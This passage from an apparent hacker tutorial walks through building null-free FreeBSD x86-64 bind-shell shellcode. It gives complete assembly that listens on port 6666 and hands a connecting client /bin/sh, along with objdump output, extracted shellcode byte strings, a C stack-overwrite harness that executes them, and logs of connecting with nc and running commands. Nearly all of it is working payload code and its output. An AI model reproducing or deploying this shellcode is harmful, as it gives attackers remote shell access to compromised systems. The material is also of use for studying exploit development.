xorq %r9, %r9 # clear %r9
movl %eax, %r9d # store accept_sock in it
/**** dup2s ****/
# dup2 these rich whores
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDIN; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDOUT; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDERR; popq %rsi
int $KERN
becomes
# dup2 these rich whores
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi # %r9d is accept_sock
xorq %rsi, %rsi # STDIN is 0 so xor rsi for it
int $KERN
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi # %r9d is accept_sock
pushq $STDOUT; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi # %r9d is accept_sock
pushq $STDERR; popq %rsi
int $KERN
/**** execve ****/
pushq $SYS_EXECVE; popq %rax
leaq shell, %rdi
leaq shelladdr, %rsi
xorq %rdx, %rdx
int $KERN
becomes
The same way the hello world was done: push a null onto the stack
push /bin/shAA in hex backwards onto the stack, then overwrite the AA
byte with \x0 so you get /bin/sh\0
pushq $SYS_EXECVE; popq %rax
xorq %rcx, %rcx # push a null
pushq %rcx
movq %rsp, %rsi # set rsi to null
movq $0xAA68732f6e69622f, %rcx # mov /bin/shAA backwards
# into rcx
pushq %rcx # push it
# push it real good
movq %rsp, %rdi # put rsp (->/bin/shAA)
# into rdi
# have to over write that AA with a 0
# put a \x0 byte at index 7 of our string /bin/sh
xorq %rbx, %rbx
xorq %rcx, %rcx
movb $7, %cl
movb %bl, (%rsp, %rcx, 1)
xorq %rdx, %rdx
int $KERN
/**** exit ****/
# _exit(0)
pushq $1; popq %rax
xorq %rdi, %rdi
int $KERN
becomes
oh shit, already 31337 as the dickens.
Full final no null asm looks like:
[entropy@phiral ~/code/fbsd_x64]$ cat pb-nonull.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586
.section .text
.globl _start
_start:
nop
# socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
xorq %r8, %r8
movl %eax, %r8d
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
xorq %r10, %r10
pushq %r10
pushq %r10
xorq %rcx, %rcx
movb $1, %cl
movb $AF_INET, (%rsp, %rcx, 1)
movb $2, %cl
movw $PORT, (%rsp, %rcx, 1)
pushq $SYS_BIND; popq %rax
pushq %r8; pop %rdi
movq %rsp, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq %r8; popq %rdi
pushq $1; popq %rsi
int $KERN
# accept
pushq $SYS_ACCEPT; popq %rax
pushq %r8; popq %rdi
movq %rsp, %rsi
xorq %rcx, %rcx
movb $16, %cl
pushq %rcx
movq %rsp, %rdx
int $KERN
popq %rcx
xorq %r9, %r9
movl %eax, %r9d
# dup2 these rich whores
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi
xorq %rsi, %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi
pushq $STDOUT; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi
pushq $STDERR; popq %rsi
int $KERN
pushq $SYS_EXECVE; popq %rax
xorq %rcx, %rcx
pushq %rcx
movq %rsp, %rsi
movq $0xAA68732f6e69622f, %rcx
pushq %rcx
movq %rsp, %rdi
# have to over write that aa with a 0
xorq %rbx, %rbx
xorq %rcx, %rcx
movb $7, %cl
movb %bl, (%rsp, %rcx, 1)
xorq %rdx, %rdx
int $KERN
# _exit(0)
pushq $1; popq %rax
xorq %rdi, %rdi
int $KERN
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-nonull.s -o pb-nonull.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-nonull.o -o pb-nonull
[entropy@phiral ~/code/fbsd_x64]$ ./pb-nonull
maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit
[entropy@phiral ~/code/fbsd_x64]$ objdump -d pb-nonull
pb-nonull: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 61 pushq $0x61
4000b3: 58 pop %rax
4000b4: 6a 02 pushq $0x2
4000b6: 5f pop %rdi
4000b7: 6a 01 pushq $0x1
4000b9: 5e pop %rsi
4000ba: 6a 06 pushq $0x6
4000bc: 5a pop %rdx
4000bd: cd 80 int $0x80
4000bf: 4d 31 c0 xor %r8,%r8
4000c2: 41 89 c0 mov %eax,%r8d
4000c5: 4d 31 d2 xor %r10,%r10
4000c8: 41 52 push %r10
4000ca: 41 52 push %r10
4000cc: 48 31 c9 xor %rcx,%rcx
4000cf: b1 01 mov $0x1,%cl
4000d1: c6 04 0c 02 movb $0x2,(%rsp,%rcx,1)
4000d5: b1 02 mov $0x2,%cl
4000d7: 66 c7 04 0c 1a 0a movw $0xa1a,(%rsp,%rcx,1)
4000dd: 6a 68 pushq $0x68
4000df: 58 pop %rax
4000e0: 41 50 push %r8
4000e2: 5f pop %rdi
4000e3: 48 89 e6 mov %rsp,%rsi
4000e6: 6a 10 pushq $0x10
4000e8: 5a pop %rdx
4000e9: cd 80 int $0x80
4000eb: 6a 6a pushq $0x6a
4000ed: 58 pop %rax
4000ee: 41 50 push %r8
4000f0: 5f pop %rdi
4000f1: 6a 01 pushq $0x1
4000f3: 5e pop %rsi
4000f4: cd 80 int $0x80
4000f6: 6a 1e pushq $0x1e
4000f8: 58 pop %rax
4000f9: 41 50 push %r8
4000fb: 5f pop %rdi
4000fc: 48 89 e6 mov %rsp,%rsi
4000ff: 48 31 c9 xor %rcx,%rcx
400102: b1 10 mov $0x10,%cl
400104: 51 push %rcx
400105: 48 89 e2 mov %rsp,%rdx
400108: cd 80 int $0x80
40010a: 59 pop %rcx
40010b: 4d 31 c9 xor %r9,%r9
40010e: 41 89 c1 mov %eax,%r9d
400111: 6a 5a pushq $0x5a
400113: 58 pop %rax
400114: 44 89 cf mov %r9d,%edi
400117: 48 31 f6 xor %rsi,%rsi
40011a: cd 80 int $0x80
40011c: 6a 5a pushq $0x5a
40011e: 58 pop %rax
40011f: 44 89 cf mov %r9d,%edi
400122: 6a 01 pushq $0x1
400124: 5e pop %rsi
400125: cd 80 int $0x80
400127: 6a 5a pushq $0x5a
400129: 58 pop %rax
40012a: 44 89 cf mov %r9d,%edi
40012d: 6a 02 pushq $0x2
40012f: 5e pop %rsi
400130: cd 80 int $0x80
400132: 6a 3b pushq $0x3b
400134: 58 pop %rax
400135: 48 31 c9 xor %rcx,%rcx
400138: 51 push %rcx
400139: 48 89 e6 mov %rsp,%rsi
40013c: 48 b9 2f 62 69 6e 2f mov $0xaa68732f6e69622f,%rcx
400143: 73 68 aa
400146: 51 push %rcx
400147: 48 89 e7 mov %rsp,%rdi
40014a: 48 31 db xor %rbx,%rbx
40014d: 48 31 c9 xor %rcx,%rcx
400150: b1 07 mov $0x7,%cl
400152: 88 1c 0c mov %bl,(%rsp,%rcx,1)
400155: 48 31 d2 xor %rdx,%rdx
400158: cd 80 int $0x80
40015a: 6a 01 pushq $0x1
40015c: 58 pop %rax
40015d: 48 31 ff xor %rdi,%rdi
400160: cd 80 int $0x80
[entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh pb-nonull
\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80
\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31
\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a
\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a
\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50
\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80
\x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31
\xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a
\x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31
\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa
\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c
\x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80
[entropy@phiral ~/code/fbsd_x64]$ cat sc.c
unsigned char sc[] =
"\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80"
"\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31"
"\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a"
"\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a"
"\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50"
"\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80"
"\x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31"
"\xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a"
"\x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31"
"\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa"
"\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c"
"\x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80";
void main(void) {
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)sc;
}
[entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:17: warning: cast from pointer to integer of different size
sc.c:14: warning: return type of 'main' is not 'int'
[entropy@phiral ~/code/fbsd_x64]$ ./sc
maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit
Remove NOP, _exit(0) and 'extra' instructions...
[entropy@phiral ~/code/fbsd_x64]$ cat pb-nonull-s.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586
.section .text
.globl _start
_start:
# socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
xorq %r8, %r8
movl %eax, %r8d
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
xorq %r10, %r10
pushq %r10
xorq %rcx, %rcx
movb $1, %cl
movb $AF_INET, (%rsp, %rcx, 1)
movb $2, %cl
movw $PORT, (%rsp, %rcx, 1)
pushq $SYS_BIND; popq %rax
pushq %r8; pop %rdi
movq %rsp, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq %r8; popq %rdi
pushq $1; popq %rsi
int $KERN
# accept
pushq $SYS_ACCEPT; popq %rax
pushq %r8; popq %rdi
movq %rsp, %rsi
xorq %rcx, %rcx
movb $16, %cl
pushq %rcx
movq %rsp, %rdx
int $KERN
popq %rcx
xorq %r9, %r9
movl %eax, %r9d
# dup2 these rich whores
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi
xorq %rsi, %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
pushq $STDOUT; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
pushq $STDERR; popq %rsi
int $KERN
pushq $SYS_EXECVE; popq %rax
xorq %rcx, %rcx
pushq %rcx
movq %rsp, %rsi
movq $0xAA68732f6e69622f, %rcx
pushq %rcx
movq %rsp, %rdi
# have to over write that AA with a 0
xorq %rbx, %rbx
xorq %rcx, %rcx
movb $7, %cl
movb %bl, (%rsp, %rcx, 1)
xorq %rdx, %rdx
int $KERN
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-nonull-s.s -o pb-nonull-s.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-nonull-s.o -o pb-nonull-s
[entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh pb-nonull-s
\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d
\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x48\x31\xc9\xb1\x01
\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58
\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41
\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89
\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31
\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80
\x6a\x5a\x58\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x6a\x02\x5e\xcd
\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62
\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31
\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80
[entropy@phiral ~/code/fbsd_x64]$ cat sc.c
unsigned char sc[] =
"\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d"
"\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x48\x31\xc9\xb1\x01"
"\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58"
"\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41"
"\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89"
"\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31"
"\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80"
"\x6a\x5a\x58\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x6a\x02\x5e\xcd"
"\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62"
"\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31"
"\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80";
void main(void) {
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)sc;
}
[entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:17: warning: cast from pointer to integer of different size
sc.c:14: warning: return type of 'main' is not 'int'
[entropy@phiral ~/code/fbsd_x64]$ ./sc
maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit
fini.
[1] Intro to x64 Reversing - Jon Larimer
- http://codetastrophe.com/
SummerCon%202011%20-%20Intro%20to%20x64%20Reversing.pdf
[2] SummerCon
- http://summercon.org/ <-- best fucking con ever
[3] SYS V ABI
- http://www.x86-64.org/documentation/abi.pdf
[4] x64 Windows Debugging: Practical Foundations
- http://www.dumpanalysis.org/
x64+Windows+Debugging%3A+Practical+Foundations
[5] Writing Assembly on OpenBSD
- http://lucifer.phiral.net/openbsdasm.htm
HTML Version: http://lucifer.phiral.net/fbsd_x64.htm
